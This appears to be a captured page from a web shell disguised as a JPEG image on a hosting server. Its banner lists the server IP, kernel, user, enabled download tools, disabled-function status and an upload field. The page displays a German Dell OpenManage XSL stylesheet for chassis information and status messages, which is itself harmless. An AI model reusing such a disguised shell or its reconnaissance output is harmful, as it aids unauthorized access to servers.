����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 3.15.26.71 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /opt/dell/srvadmin/var/lib/openmanage/xslroot/hip/de/common/ |
Upload File : |
<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="xml" /> <xsl:strip-space elements="*"/> <xsl:template match="/OMA"> <xsl:choose> <xsl:when test="SMStatus != '0'"> <DataArea> <PageTitle> <xsl:attribute name="display"><!--XLATESTART-->Fehler! <!--XLATESTOP--><xsl:call-template name="smstatus"><xsl:with-param name="status"><xsl:value-of select="SMStatus"/></xsl:with-param></xsl:call-template></xsl:attribute> </PageTitle> </DataArea> </xsl:when> <xsl:otherwise> <DataArea> <PageTitle> <xsl:attribute name="display"><!--XLATESTART-->Gehäuse-Informationen<!--XLATESTOP--></xsl:attribute> </PageTitle> <ListData> <Data> <xsl:attribute name="display"><!--XLATESTART-->Index<!--XLATESTOP--></xsl:attribute> <xsl:attribute name="value"><xsl:value-of select="Chassis/@index"/></xsl:attribute> </Data> <Data> <xsl:attribute name="display"><!--XLATESTART-->Gehäuse-Name<!--XLATESTOP--></xsl:attribute> <xsl:attribute name="value"><xsl:value-of select="Chassis/@display"/></xsl:attribute> </Data> <xsl:apply-templates select="ChassisInfo"/> </ListData> </DataArea> </xsl:otherwise> </xsl:choose> </xsl:template> <xsl:template match="ChassisInfo"> <xsl:if test="SystemInfo/SystemName"> <Data> <xsl:attribute name="display"><!--XLATESTART-->Host-Name<!--XLATESTOP--></xsl:attribute> <xsl:attribute name="value"><xsl:value-of select="SystemInfo/SystemName"/></xsl:attribute> </Data> </xsl:if> <xsl:if test="FirmwareList"> <xsl:for-each select="FirmwareList/Firmware"> <Data> <xsl:attribute name="display"><xsl:value-of select="FWText"/><!--XLATESTART--> Version<!--XLATESTOP--></xsl:attribute> <xsl:attribute name="value"><xsl:value-of select="FWVersion"/></xsl:attribute> </Data> </xsl:for-each> </xsl:if> <xsl:if test="ChassisProps1/ChassModel"> <Data> <xsl:attribute name="display"><!--XLATESTART-->Gehäuse-Modell<!--XLATESTOP--></xsl:attribute> <xsl:attribute name="value"><xsl:value-of select="ChassisProps1/ChassModel"/></xsl:attribute> </Data> </xsl:if> <xsl:if test="ChassisProps1/ChassLockPresent"> <Data> <xsl:attribute name="display"><!--XLATESTART-->Gehäuseschloss<!--XLATESTOP--></xsl:attribute> <xsl:choose> <xsl:when test="ChassisProps1/ChassLockPresent = 'true'"> <xsl:attribute name="value"><!--XLATESTART-->Vorhanden<!--XLATESTOP--></xsl:attribute> </xsl:when> <xsl:otherwise> <xsl:attribute name="value"><!--XLATESTART-->Nicht vorhanden<!--XLATESTOP--></xsl:attribute> </xsl:otherwise> </xsl:choose> </Data> </xsl:if> <xsl:if test="ChassisProps2/ServiceTag"> <Data> <xsl:attribute name="display"><!--XLATESTART-->Service-Tag-Nummer<!--XLATESTOP--></xsl:attribute> <xsl:attribute name="value"><xsl:value-of select="ChassisProps2/ServiceTag"/></xsl:attribute> </Data> </xsl:if> <xsl:if test="ChassisProps2/AssetTag"> <Data> <xsl:attribute name="display"><!--XLATESTART-->Systemkennnummer<!--XLATESTOP--></xsl:attribute> <xsl:attribute name="value"><xsl:value-of select="ChassisProps2/AssetTag"/></xsl:attribute> </Data> </xsl:if> <xsl:if test="ChassisProps2/FaultLEDControl != '0'"> <Data> <xsl:attribute name="display"><!--XLATESTART-->Blinken der Fehler-LED bei Schweregrad<!--XLATESTOP--></xsl:attribute> <xsl:choose> <xsl:when test="ChassisProps2/FaultLEDControl = '8'"> <xsl:attribute name="value"><!--XLATESTART-->Warnung<!--XLATESTOP--></xsl:attribute> </xsl:when> <xsl:when test="ChassisProps2/FaultLEDControl = '16'"> <xsl:attribute name="value"><!--XLATESTART-->Kritisch<!--XLATESTOP--></xsl:attribute> </xsl:when> <xsl:otherwise> <xsl:attribute name="value"><!--XLATESTART-->Nicht definiert<!--XLATESTOP--></xsl:attribute> </xsl:otherwise> </xsl:choose> </Data> </xsl:if> <xsl:if test="BaseBoardList/@count > '0'"> <xsl:call-template name="BaseBoard"/> </xsl:if> </xsl:template> <xsl:template name="BaseBoard"> <xsl:for-each select="/OMA/BaseBoardList/BaseBoard"> <xsl:if test="FeatureFlags/HostingBoard='true'"> <Data name="BladeServiceTag" type="ustring"> <xsl:attribute name="display"><!--XLATESTART-->Blatt-Service-Tag-Nummer<!--XLATESTOP--></xsl:attribute> <xsl:attribute name="value"><xsl:value-of select="ServiceTag"/></xsl:attribute> </Data> <Data name="BladeServiceTag" type="ustring"> <xsl:attribute name="display"><!--XLATESTART-->Blatt-Systemkennnummer<!--XLATESTOP--></xsl:attribute> <xsl:attribute name="value"><xsl:value-of select="AssetTag"/></xsl:attribute> </Data> <Data name="BladeLocation" type="ustring"> <xsl:attribute name="display"><!--XLATESTART-->Blatt-Standort<!--XLATESTOP--></xsl:attribute> <xsl:attribute name="value"><xsl:value-of select="BoardLocation"/></xsl:attribute> </Data> </xsl:if> </xsl:for-each> </xsl:template> <xsl:template name="smstatus"> <xsl:param name="status"/> <xsl:param name="mssg"/> <xsl:choose> <xsl:when test="$status = '-1'"><!--XLATESTART-->Befehl nicht erfolgreich<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '0'"><!--XLATESTART-->Befehl erfolgreich<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '1'"><!--XLATESTART-->Befehl nicht implementiert<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '2'"><!--XLATESTART-->Inkorrekter Befehl<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '3'"><!--XLATESTART-->Befehl-Zeitüberschreitung<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '4'"><!--XLATESTART-->Befehl storniert<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '5'"><!--XLATESTART-->Befehl abgebrochen<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '6'"><!--XLATESTART-->Befehl anstehend<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '7'"><!--XLATESTART-->Kein derartiges Gerät vorhanden<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '8'"><!--XLATESTART-->Gerät besetzt<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '9'"><!--XLATESTART-->Fehlerhaftes Gerät<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '10'"><!--XLATESTART-->Unechter Interrupt<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '11'"><!--XLATESTART-->Ressource gesperrt<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '12'"><!--XLATESTART-->Ungültiger Index<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '13'"><!--XLATESTART-->SMB-Fehler<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '14'"><!--XLATESTART-->Angeforderte Daten sind nicht verfügbar<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '15'"><!--XLATESTART-->Angeforderte Daten übersteigen die verfügbaren Daten<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '16'"><!--XLATESTART-->Angeforderte Daten sind weniger als die verfügbaren Daten<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '17'"><!--XLATESTART-->Gerät noch nicht zum Befehlsempfang bereit. Später versuchen<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '18'"><!--XLATESTART-->Gerät hat keine Daten<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '19'"><!--XLATESTART-->Gerät hat nicht genügend Speicher<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '20'"><!--XLATESTART-->Gerät existiert bereits<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '256'"><!--XLATESTART-->Objekt nicht gefunden<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '257'"><!--XLATESTART-->Objekt verformt, beschädigt oder fehlerhaft<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '258'"><!--XLATESTART-->Objekt existiert bereits<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '260'"><!--XLATESTART-->INI-Datei nicht gefunden<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '261'"><!--XLATESTART-->INI verformt, beschädigt oder fehlerhaft<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '262'"><!--XLATESTART-->INI-Abschnitt existiert nicht<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '263'"><!--XLATESTART-->INI-Schlüssel existiert nicht<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '264'"><!--XLATESTART-->INI-Wert verformt, beschädigt oder fehlerhaft<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '270'"><!--XLATESTART-->Ungenügende Zugriffsrechte<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '271'"><!--XLATESTART-->Ungültiger Parametername oder -wert <!--XLATESTOP--><xsl:value-of select="$mssg"/></xsl:when> <xsl:when test="$status = '272'"><!--XLATESTART-->Nicht genügend Speicher vorhanden<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '280'"><!--XLATESTART-->XML-Datei nicht gefunden<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '281'"><!--XLATESTART-->XML verformt, beschädigt oder fehlerhaft<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '282'"><!--XLATESTART-->XML-Knoten existiert nicht<!--XLATESTOP--></xsl:when> <xsl:when test="$status = '283'"><!--XLATESTART-->XML-Wert verformt, beschädigt oder fehlerhaft<!--XLATESTOP--></xsl:when> <xsl:otherwise>SMStatus: <xsl:value-of select="$status"/></xsl:otherwise> </xsl:choose> </xsl:template> </xsl:stylesheet>